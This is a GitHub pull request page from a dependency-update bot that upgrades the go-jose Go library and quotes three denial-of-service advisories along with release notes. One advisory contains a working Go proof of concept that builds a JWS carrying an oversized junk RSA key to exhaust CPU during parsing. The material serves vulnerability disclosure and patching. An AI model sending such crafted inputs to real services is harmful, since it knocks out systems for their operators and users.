fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 by adfinis-renovate[bot] · Pull Request #53 · adfinis/bbook

adfinis-renovate · 2026-10-28T00:11:35Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/go-jose/go-jose/v4	`v4.1.4` → `v4.1.6`

Go JOSE: Panic during CBC-HMAC processing

CVE-2026-116585 / GHSA-4w3g-jfj2-cw2q

More information

Details

Summary

Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input.

Note this advisory is the same as GHSA-6mp9-8xrw-74r4.

Details

Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292.

Workarounds

If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact.

Impact

Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected.

Acknowledgements

Thanks to Joshua Rogers of AISLE Research for reporting this problem.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: Panics in JSON parsing

CVE-2026-116586 / GHSA-vvm8-gf78-28g4

More information

Details

Summary

Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash.

Note: this advisory is the same as GHSA-6mp9-8xrw-74r4.

Impact

Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed.

Workarounds

Reject large inputs before parsing them.

Acknowledgements

Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Go JOSE: DoS when parsing JWKs that contain RSA keys

CVE-2026-116587 / GHSA-mgcc-cww5-fp2q

More information

Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

go-jose/go-jose (github.com/go-jose/go-jose/v4)

`v4.1.6`

Compare Source

Fixed Security Issues

This release contains a fix for GHSA-mgcc-cww5-fp2q

Breaking Changes

The fix for GHSA-mgcc-cww5-fp2q involves capping the size of the RSA modulus of keys accepted by JWK parsing. This limit is 4096 bits. If you need this to be higher, set MaxRSAModulusBits before performing any JWK parsing.

Changed

Reject mismatched JWE CEK lengths by @akshithg in #266
Add a tests containerfile and threat model by @mcpherrinm in #300
Fix error message for future issued tokens by @inahga in #303

Full Changelog: go-jose/go-jose@v4.1.5...v4.1.6

`v4.1.5`

Compare Source

Fixed security issues

cipher/cbc_hmac: don't panic on empty ciphertext (#292)
cipher/cbc_hmac: don't panic on invalid key (#291)
json: limit stack depth (#290)
jwt: reject out-of-range NumericDate values (#278)
Check alg against pubkey curve during verify. (#293)
Reject malformed Ed25519 JWKs (#250)
jws: choose verification key per-signature (#243)

Breaking Changes

In #226, we un-exported jose.RandReader. This was used to be able to stub out the randomness function in tests, but is ignored as of Go 1.26 in some APIs, so no longer serves a useful function.

Changed

Verify OpaqueSigner's Public() return is public (#260)
jws: skip signature on ErrJWKSKidNotFound (#248)
Handle JWE JSON without protected header (#240)
jws: don't strip internal whitespace before parsing JSON (#239)
jws: fewer calls to OpaqueSigner.Public() (#224)
Return a specific error when parsing empty string (#216)
Reject typed nil at Verify time (#285)

Configuration

📅 Schedule: (in timezone Europe/Zurich)

Branch creation
- "before 7am every weekday"
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

Co-authored-by: adfinis-renovate[bot] <315821157+adfinis-renovate[bot]@users.noreply.github.com>

adfinis-renovate Bot changed the title ~~fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6~~ fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 - autoclosed Nov 9, 2026

adfinis-renovate Bot closed this Nov 9, 2026

adfinis-renovate Bot deleted the renovate-go-github.com-go-jose-go-jose-v4-vulnerability branch November 9, 2026 08:08

fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6

c32b89b

adfinis-renovate Bot changed the title ~~fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 - autoclosed~~ fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 Nov 10, 2026

adfinis-renovate Bot reopened this Nov 10, 2026

adfinis-renovate Bot force-pushed the renovate-go-github.com-go-jose-go-jose-v4-vulnerability branch from 875e677 to c32b89b Compare November 10, 2026 00:11

jon4hz approved these changes Nov 10, 2026

View reviewed changes

jon4hz merged commit 32fb81d into main Nov 10, 2026
7 checks passed

jon4hz pushed a commit that referenced this pull request Nov 10, 2026

fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 (#53)

bf8e440

Co-authored-by: adfinis-renovate[bot] <315821157+adfinis-renovate[bot]@users.noreply.github.com>

Navigation Menu

Repository navigation

fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6 - #53

fix(deps): update module github.com/go-jose/go-jose/v4 to v4.1.6#53
jon4hz merged 1 commit into
mainfrom
renovate-go-github.com-go-jose-go-jose-v4-vulnerability

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

Uh oh!

Go JOSE: Panic during CBC-HMAC processing

Details

Summary

Details

Workarounds

Impact

Acknowledgements

Severity

References

Go JOSE: Panics in JSON parsing

Details

Summary

Impact

Workarounds

Acknowledgements

Severity

References

Go JOSE: DoS when parsing JWKs that contain RSA keys

Details

Summary

Details

Proof of concept

Impact

Credits

Severity

References

Release Notes

v4.1.6

Fixed Security Issues

Breaking Changes

Changed

v4.1.5

Fixed security issues

Breaking Changes

Changed

Configuration

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

`v4.1.6`

`v4.1.5`